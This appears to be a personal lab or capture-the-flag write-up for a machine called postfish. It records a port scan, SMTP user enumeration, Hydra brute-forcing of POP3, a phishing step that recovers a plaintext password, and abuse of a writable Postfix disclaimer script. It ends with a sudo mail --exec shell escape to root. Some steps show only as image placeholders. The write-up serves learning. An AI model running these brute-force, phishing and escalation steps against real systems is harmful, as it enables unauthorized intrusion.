# rustscan
```sh
┌──(chromite㉿parrot)-[~/offsec]
└─$ rustscan -a $target -- -A -Pn
```
```sh
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
25/tcp open smtp syn-ack Postfix smtpd
|_smtp-commands: postfish.off, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Issuer: commonName=ubuntu
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-26T10:26:37
| Not valid after: 2031-01-24T10:26:37
| MD5: 5376:0d7f:8cb1:2db9:fedd:1809:463e:94c2
| SHA-1: 63ab:a073:44fd:01a2:489f:c9a0:8f50:de80:f33c:6895
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
110/tcp open pop3 syn-ack Dovecot pop3d
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Issuer: commonName=ubuntu
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-26T10:26:37
| Not valid after: 2031-01-24T10:26:37
| MD5: 5376:0d7f:8cb1:2db9:fedd:1809:463e:94c2
| SHA-1: 63ab:a073:44fd:01a2:489f:c9a0:8f50:de80:f33c:6895
|_pop3-capabilities: STLS SASL(PLAIN) PIPELINING RESP-CODES UIDL USER CAPA AUTH-RESP-CODE TOP
|_ssl-date: TLS randomness does not represent time
143/tcp open imap syn-ack Dovecot imapd (Ubuntu)
|_imap-capabilities: post-login OK AUTH=PLAINA0001 Pre-login more ID ENABLE IDLE capabilities have SASL-IR listed STARTTLS LOGIN-REFERRALS LITERAL+ IMAP4rev1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Issuer: commonName=ubuntu
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-26T10:26:37
| Not valid after: 2031-01-24T10:26:37
| MD5: 5376:0d7f:8cb1:2db9:fedd:1809:463e:94c2
| SHA-1: 63ab:a073:44fd:01a2:489f:c9a0:8f50:de80:f33c:6895
993/tcp open ssl/imap syn-ack Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Issuer: commonName=ubuntu
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-26T10:26:37
| Not valid after: 2031-01-24T10:26:37
| MD5: 5376:0d7f:8cb1:2db9:fedd:1809:463e:94c2
| SHA-1: 63ab:a073:44fd:01a2:489f:c9a0:8f50:de80:f33c:6895
|_imap-capabilities: post-login OK AUTH=PLAINA0001 Pre-login ID ENABLE IDLE capabilities more SASL-IR have LITERAL+ listed LOGIN-REFERRALS IMAP4rev1
995/tcp open ssl/pop3 syn-ack Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE SASL(PLAIN) USER CAPA PIPELINING TOP RESP-CODES UIDL
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Issuer: commonName=ubuntu
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-26T10:26:37
| Not valid after: 2031-01-24T10:26:37
| MD5: 5376:0d7f:8cb1:2db9:fedd:1809:463e:94c2
| SHA-1: 63ab:a073:44fd:01a2:489f:c9a0:8f50:de80:f33c:6895
|_ssl-date: TLS randomness does not represent time
Service Info: Host: postfish.off; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
# tcp/80 - http
![[Pasted image 20261113195102.png]]Potential users here
## dirsearch
```sh
┌──(chromite㉿parrot)-[~/offsec]
└─$ dirsearch -u http://postfish.off/
```
![[Pasted image 20261113195145.png]]All `403`
This did make us change the domain name to `postfish.off` so it may be worth it to fuzz for vhosts
## vhosts
```sh
┌──(chromite㉿parrot)-[~/offsec]
└─$ ffuf -u http://postfish.off -H "Host: FUZZ.postfish.off" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 83
```
- None found
# tcp/25 smtp
```sh
┌──(chromite㉿parrot)-[~/offsec/postfish]
└─$ smtp-user-enum -M VRFY -U users.list -t $target -v | grep -i exists
```
![[Pasted image 20261113202056.png]]
Failed to brute force these users.
![[Pasted image 20261113204922.png]]
Check for more users
## hydra - pop3
```sh
┌──(chromite㉿parrot)-[~/offsec/postfish]
└─$ hydra -L user2.list -P user2.list -f $target pop3
```
![[Pasted image 20261113205008.png]]
### Authenticating to pop3
![[Pasted image 20261113205113.png]]
![[Pasted image 20261113205224.png]]
There is also an `
[email protected]`
Took a peak at a walkthrough for this to be sure, but I had a feeling this was going to be phishing related. Kinda unrealistic here in my opinion. That link would just be an empty page
![[Pasted image 20261113210332.png]]
---
![[Pasted image 20261113210741.png]]
What it should actually look like. No user is going to go out of their way to send a `POST` to the empty link you send
----
![[Pasted image 20261113210520.png]]
`EternaLSunshinE`
# ssh as brian.moore
```sh
┌──(chromite㉿parrot)-[~/offsec/postfish]
└─$ ssh brian.moore@$target
```
![[Pasted image 20261113210834.png]]
## LinEnum-NG
```sh
[+] All shell history files (.*_history):
/home/sales/.bash_history
```
```sh
╔═══════════════════════════════════════════════════════════╗
║ WRITABLE LOCATIONS ║
╚═══════════════════════════════════════════════════════════╝
[+] Writable files for current user (first 20):
/etc/postfix/disclaimer
/var/mail/brian.moore
/home/brian.moore/.cache/motd.legal-displayed
/home/brian.moore/local.txt
/home/brian.moore/LinEnum-ng.sh
/home/brian.moore/.bash_logout
/home/brian.moore/.bashrc
/home/brian.moore/.profile
```
### disclaimer
```sh
brian.moore@postfish:/var/spool/postfix$ file /etc/postfix/disclaimer
/etc/postfix/disclaimer: Bourne-Again shell script, ASCII text executable
brian.moore@postfish:/var/spool/postfix$ ls -la /etc/postfix/disclaimer
-rwxrwx--- 1 root filter 1184 Nov 14 03:30 /etc/postfix/disclaimer
brian.moore@postfish:/var/spool/postfix$ /etc/postfix/disclaimer
/etc/postfix/disclaimer: line 21: in.181077: Permission denied
Cannot save mail to file
```
![[Pasted image 20261113214122.png]]
File executes as the filter user when mail is sent
# Access as filter
![[Pasted image 20261113214431.png]]
Filter can run the mail binary as root
```sh
filter@postfish:/var/spool/postfix$ sudo /usr/bin/mail --exec='!/bin/bash'
root@postfish:/var/spool/postfix#
```
# Root
![[Pasted image 20261113214711.png]]